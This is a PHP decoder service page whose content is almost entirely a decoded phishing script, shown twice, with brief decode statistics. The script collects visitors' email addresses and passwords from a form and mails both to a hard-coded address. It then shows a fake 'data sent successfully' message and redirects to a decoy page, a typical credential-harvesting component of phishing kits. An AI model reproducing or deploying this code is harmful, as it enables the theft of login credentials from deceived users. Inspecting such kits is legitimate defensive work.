Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $errors = ''; $myemail = '[email protected]';//<-----Put Your email address her..
Decoded Output download
<?php
$errors = '';
$myemail = '[email protected]';//<-----Put Your email address here.
if(empty($_POST['email']) ||
empty($_POST['password']))
{
$errors .= "
Error: all fields are required";
}
$email = $_POST['email'];
$password = $_POST['password'];
if (!preg_match(
"/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$/i",
$email))
{
$errors .= "
Error: Invalid Email Address";
echo "<br/><a href='javascript:self.history.back();'>Go Back</a>";
}
if( empty($errors))
{
$to = $myemail;
$email_subject = "NEW MESSAGE FROM: $email";
$email_body = "You have received a new message. ".
" Here are the details:
Email: $email
password
$password";
$headers = "From: $myemail
";
$headers .= "Reply-To: $email";
mail($to,$email_subject,$email_body,$headers);
echo "<font color='green'>Thank you, your data has been sent successfully! </br>You will be contacted within 24 hours";
//redirect to the 'thank you' page
header( "refresh:07; url=http://www.securewcs.com/test.html" );
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="refresh" content="3; URL='http://www.securewcs.com/test.html'" />
<title>document</title>
</head>
<body>
<?php
echo nl2br($errors);
?>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
$errors = '';
$myemail = '[email protected]';//<-----Put Your email address here.
if(empty($_POST['email']) ||
empty($_POST['password']))
{
$errors .= "\n Error: all fields are required";
}
$email = $_POST['email'];
$password = $_POST['password'];
if (!preg_match(
"/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$/i",
$email))
{
$errors .= "\n Error: Invalid Email Address";
echo "<br/><a href='javascript:self.history.back();'>Go Back</a>";
}
if( empty($errors))
{
$to = $myemail;
$email_subject = "NEW MESSAGE FROM: $email";
$email_body = "You have received a new message. ".
" Here are the details: \n Email: $email \n password \n $password";
$headers = "From: $myemail\n";
$headers .= "Reply-To: $email";
mail($to,$email_subject,$email_body,$headers);
echo "<font color='green'>Thank you, your data has been sent successfully! </br>You will be contacted within 24 hours";
//redirect to the 'thank you' page
header( "refresh:07; url=http://www.securewcs.com/test.html" );
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="refresh" content="3; URL='http://www.securewcs.com/test.html'" />
<title>document</title>
</head>
<body>
<?php
echo nl2br($errors);
?>
</body>
</html>
Function Calls
| None |
Stats
| MD5 | 05142993a8a542150636b7704805ca00 |
| Eval Count | 0 |
| Decode Time | 96 ms |